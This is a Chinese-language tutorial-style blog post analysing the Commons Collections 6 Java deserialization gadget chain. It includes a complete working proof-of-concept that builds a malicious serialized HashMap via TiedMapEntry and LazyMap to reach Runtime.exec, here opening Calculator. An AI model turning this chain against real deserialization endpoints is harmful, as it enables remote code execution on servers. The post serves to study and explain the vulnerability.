0x00 前言

接着CommonsCollections1的问题来分析CommonsCollections6的过程,本来cc6应该作为cc2来称呼的,因为差别就在于JDK的版本,可能是作者按照了时间的顺序来写的编号。

因为JDK 8u71以后,AnnotationInvocationHandler#readObject里面的逻辑和代码都变了,如果我们是用TransformedMap的话,在高版本里面的setValue已经被删除了。如果是用LazyMap的话,高版本已经改变了memberValues的获取逻辑。

那么在CC6这条链就很好能解决高版本的问题,而且还简约易读。

我们可以看下这条链:


	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

ysoserial里面使用的是HashSet里面的readobject,本文当中使用的HashMap也一样的效果,HashSet是对HashMap简单的包装,对HashSet的函数调用都会转成合适的HashMap方法。

环境准备

调试工具:IDEA

Java版本:11

pom文件配置:

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

0x01 分析过程

我们先看下简单的POC,也是延续上一篇CC1的代码,只是要改掉一些入口类:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {

        Transformer[]  transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})

        };
        ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);


        Map hashMap1 = new HashMap();
        Map lazymap = LazyMap.decorate(hashMap1,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"11");
        HashMap hashMap2 = new HashMap();
        hashMap2.put(tiedMapEntry,"2");
        lazymap.remove("11");
        Class c = LazyMap.class;
        Field ifield = c.getDeclaredField("factory");
        ifield.setAccessible(true);
        ifield.set(lazymap,chainedTransformer);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(hashMap2);
        oss.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
}

可以看出来大致上跟CC1是差不多的,只是改变下面的这一部分:

Map lazymap = LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"11");
HashMap hashMap2 = new HashMap();
hashMap2.put(tiedMapEntry,"2");
lazymap.remove("11");
Class c = LazyMap.class;
Field ifield = c.getDeclaredField("factory");
ifield.setAccessible(true);
ifield.set(lazymap,chainedTransformer);

可以看到这次用到的是TiedMapEntry,而不是AnnotationInvocationHandler了,但LazyMap的利用还在。

我们从CC1的可以知道能触发LazyMap,就是要看get()方法。

TiedMapEntry里面的getValue() 方法就调用到了get的方法,所以我们只要把map替换成LazyMap的对象即可。

public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }

那么可以可以这样写:

Map hashMap1 = new HashMap();
Map lazymap = LazyMap.decorate(hashMap1,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"11");//new 一个TiedMapEntry对象,然后把lazymap对象放进去
tiedMapEntry.getValue();

这样就能触发我们的恶意代码,但是我们是需要进行反序列化的,TiedMapEntry里面又没有重写readObject方法。

我们从DNSURL的链可以知道,HashMap是重写了readObject方法,然后只要有进行键值对的插入删除,就会触发hashcode方法。

所以我们需要新建一个HashMap对象,然后把tiedMapEntry放进来,这样我们就可以利用HashMap的readObject方法进行触发我们的代码。

我们来看下利用链:

java.io.ObjectInputStream.readObject()
            java.util.HashMap.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

所以改一下代码如下:

Map hashMap1 = new HashMap();
Map lazymap = LazyMap.decorate(hashMap1,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"11");
HashMap hashMap2 = new HashMap();
hashMap2.put(tiedMapEntry,"2");

你没有进行序列化但执行了会发现会直接触发我们的利用链,原因是因为put的操作,会执行到putVal:

image-20231126150010759

然后执行到hash函数,最后是执行了key的hashcode方法,我们知道key是我们放进来的tiedMapEntry变量,也就是TiedMapEntry的对象:

image-20231126150237328

执行到了TiedMapEntry的hashcode方法就能跳到getValue的方法当中:

image-20231126150352845

这样一来就完整执行了我们LazyMap的恶意代码。

但是我们是需要在反序列化中使用的,所以我们要屏蔽在序列化过程中触发put的代码。

我们需要把LazyMap中的factory替换掉,执行完put后再把factory赋值为chainedTransformer:

Map hashMap1 = new HashMap();
Map lazymap = LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"11");
HashMap hashMap2 = new HashMap();
hashMap2.put(tiedMapEntry,"2");
Class c = LazyMap.class;
Field ifield = c.getDeclaredField("factory");
ifield.setAccessible(true);
ifield.set(lazymap,chainedTransformer);

执行后会就不会直接触发我们的恶意代码了,有些同学可能有疑问说

1、为什么要使用反射进行修改值呢?

是因为LazyMap的factory属性是private的,所以需要通过反射进行修改

2、为什么反序列化的时候不会把new ConstantTransformer(1)写进去呢?

当我们修改了factory的值,Java的序列化后的LazyMap的值是chainedTransformer。

可以使用SerializationDumper进行查看序列化后的参数:

java -jar SerializationDumper-v1.13.jar -r cc6.ser

image-20231126153759629

那么在反序列化后,该对象的 factory 字段将保持被序列化的值,即 ChainedTransformer

OK,我们解决了序列化过程触发恶意代码的问题,我们开始进行反序列化,发现并没有触发。

我们可以在ois.readObject();这里进行下断点观察,我们发现map里面的key已经包含了11,就不会执行到transform:

image-20231126154628558

原因是序列化的时候会把key写进来,导致反序列化的时候判断已经存在该key:

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"11");

所以我们在序列化的时候把key移除即可,改完的代码如下:

Map hashMap1 = new HashMap();
Map lazymap = LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"11");
HashMap hashMap2 = new HashMap();
hashMap2.put(tiedMapEntry,"2");
lazymap.remove("11");
Class c = LazyMap.class;
Field ifield = c.getDeclaredField("factory");
ifield.setAccessible(true);
ifield.set(lazymap,chainedTransformer);

0x02 总结

其实分析这条链的时候又回去复习了CC1,因为这个delay了好久,拖到今天才写。

如果发现分析了一遍下来还说模模糊糊就得一个方法一个类去学习,弄清楚什么是反射、动态代理、反序列化等。

到最后你会发现这过程中把基础知识补齐后再回来看代码会觉得豁然开朗。

0x03 参考

https://www.bilibili.com/video/BV1yP4y1p7N7

https://javaguide.cn/java/basis/proxy.html

https://myzxcg.com/2021/10/Ysoserial-%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/#commons-collections6

https://xz.aliyun.com/t/12692#toc-8

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java